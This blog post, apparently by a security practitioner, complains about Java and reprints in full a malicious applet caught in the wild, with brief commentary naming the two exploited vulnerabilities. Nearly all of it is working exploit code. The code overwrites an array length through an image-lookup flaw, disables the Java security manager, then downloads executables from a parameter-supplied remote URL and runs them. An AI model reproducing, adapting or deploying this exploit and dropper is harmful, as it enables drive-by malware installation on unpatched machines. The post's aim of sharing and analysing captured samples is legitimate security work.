Damn you Sun / Oracle / Java

Howdy all!

What exploit code do you think I run into on a daily basis? Java! Every day, its the same 2 exploits. I’ve stated this before, but today I’m going to post the code. Most of the time, malware distributors are smarter and obfuscate their exploit code as much as possible as to avoid heuristics and auto detection. Then once in a while some dumbass won’t and our AV’s will pack it up on the spot. This is one of those cases. Can you guess what’s being exploited here?

import java.applet.Applet;
import java.awt.image.BufferedImage;
import java.awt.image.ByteLookupTable;
import java.awt.image.DataBufferByte;
import java.awt.image.Kernel;
import java.awt.image.LookupOp;
import java.awt.image.Raster;
import java.awt.image.WritableRaster;
import java.beans.Statement;
import java.io.FileOutputStream;
import java.io.PrintStream;
import java.net.URL;
import java.nio.channels.Channels;
import java.nio.channels.FileChannel;
import java.nio.channels.ReadableByteChannel;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.Random;

public class TestByteBI extends Applet
{
  public int numArrays_ = 10;
  public final int arrayLength = 11;
  public int[][] Arrays_;

  public void init()
  {
    go();
  }

  public void go()
  {
    try
    {
      String name = "setSecurityManager";
      Object[] o1 = new Object[1];
      Object o2 = new Statement(System.class, name, o1);

      this.Arrays_ = new int[this.numArrays_][];

      Kernel kernel = new Kernel(1, 1, new float[] { 1.0F, 1.0F, 1.0F, 1.0F });
      byte[][] data = new byte[1][2000];
      for (int i = 0; i < data.length; i++) {
        for (int j = 0; j < data[i].length; j++) {
          data[i][j] = 65;
        }
      }
      ByteLookupTable lookupTable = new ByteLookupTable(0, data);

      LookupOp op = new LookupOp(lookupTable, null);

      int srcW = 20; int srcH = 20;
      int dstW = 7; int dstH = 7;

      BufferedImage src = new TestByteBI.MyBufferedImage(srcW, srcH, dstW, dstH, 11);

      BufferedImage tmp = new BufferedImage(dstW, dstH, 10);

      DataBufferByte dstBuffer = new DataBufferByte(dstW * dstH);

      for (int i = 0; i < this.numArrays_; i++) {
        this.Arrays_[i] = new int[11];
        for (int j = 0; j < 11; j++) {
          this.Arrays_[i][j] = 1768650105;
        }
      }

      WritableRaster raster = Raster.createWritableRaster(tmp.getSampleModel(), dstBuffer, null);

      BufferedImage dst = new BufferedImage(tmp.getColorModel(), raster, false, null);

      Object[] oo = new Object[7];

      oo[2] = new Statement(System.class, name, o1);

      Permissions ps = new Permissions();
      ps.add(new AllPermission());

      oo[3] = new AccessControlContext(
        new ProtectionDomain[] { 
        new ProtectionDomain(
        new CodeSource(
        new URL("file:///"), 
        new Certificate[0]), 
        ps) });

      oo[4] = ((Statement)oo[2]).getTarget();

      op.filter(src, dst);

      int[] a = (int[])null;

      for (int i = 0; i < this.numArrays_; i++) {
        if ((this.Arrays_[i] != null) && (this.Arrays_[i].length > 11)) {
          a = this.Arrays_[i];
          break;
        }
      }

      if (a == null) {
        System.out.println("Failed to overwrite array length!");
        return;
      }

      boolean found = false;
      int ooLen = oo.length;
      for (int i = 13; i < a.length; i++) {
        if ((a[(i - 1)] == ooLen) && (a[i] == 0) && (a[(i + 1)] == 0) && 
          (a[(i + 2)] != 0) && (a[(i + 3)] != 0) && (a[(i + 4)] != 0) && 
          (a[(i + 5)] == 0) && (a[(i + 6)] == 0))
        {
          int stmTrg = a[(i + 4)];

          for (int j = i + 7; j < i + 7 + 64; j++) {
            if (a[j] == stmTrg)
            {
              a[(j - 1)] = a[(i + 3)];
              found = true;
              break;
            }
          }
          if (found)
            break;
        }
      }
      if (found)
      {
        try
        {
          ((Statement)oo[2]).execute();

          String t = "java"; String m = "io"; String p = "tmpdir"; String dot = ".";
          Random random = new Random();
          String r1 = "http://";
          String cookie = new String();
          cookie = getParameter("cookie");
          String t1 = "/temp/" + cookie + "/" + random.nextInt() + "/";
          String e1 = "?page=";
          String param = new String();
          String cmp = new String();
          param = getParameter("http");
          cmp = getParameter("ftp");

          String l = System.getProperty(t + dot + m + dot + p);

          String r = r1 + param + t1 + e1 + cmp;
          d(r, l);
          d(r + "02", l);
          d(r + "03", l);
          d(r + "04", l);
        }
        catch (Exception ex) {
          ex.printStackTrace();
        }
      }
    } catch (Exception ex) { ex.printStackTrace(); }

  }

  private void d(String rPath, String lPath)
  {
    Random rand = new Random();
    lPath = lPath + "\\h" + rand.nextInt() + ".tmp.";
    try
    {
      String type = new String();
      type = getParameter("type");
      String fun = new String();
      fun = getParameter("fun");
      URL url = new URL(rPath);
      ReadableByteChannel rbc = Channels.newChannel(url.openStream());
      String ext = new String();

      FileOutputStream fos = new FileOutputStream(lPath + "exe");
      fos.getChannel().transferFrom(rbc, 0L, 16777216L);
      fos.close();

      Runtime.getRuntime().exec(lPath + "exe");
    }
    catch (Exception localException)
    {
    }
  }

  public static void main(String[] args)
  {
    new TestByteBI().go();
  }
  public static class MyBufferedImage extends BufferedImage {
    private int fakeW_;
    private int fakeH_;

    public MyBufferedImage(int w, int h, int fakeW, int fakeH, int type) {
      super(h, type);

      this.fakeW_ = fakeW;
      this.fakeH_ = fakeH;
    }

    public int getWidth() {
      return this.fakeW_;
    }

    public int getHeight() {
      return this.fakeH_;
    }
  }
}

If you guessed the Security Manager exploit, you’re half right. Its two CVE’s in one! The ‘Raster Images’ and ‘Security Manager’ vulnerabilities are constantly being exploited today for 2 reasons: 1) no one updates their java, and 2) java sucks. Its been more than a year and there are still hundreds of millions of vulnerable machines to these 2 vulnerabilities. This means malware delivery is still fresh and strong.

I feel 2014 is going to suck ass. Thanks Oracle / Sun / Java.
Edited due to censorship

Leave a Reply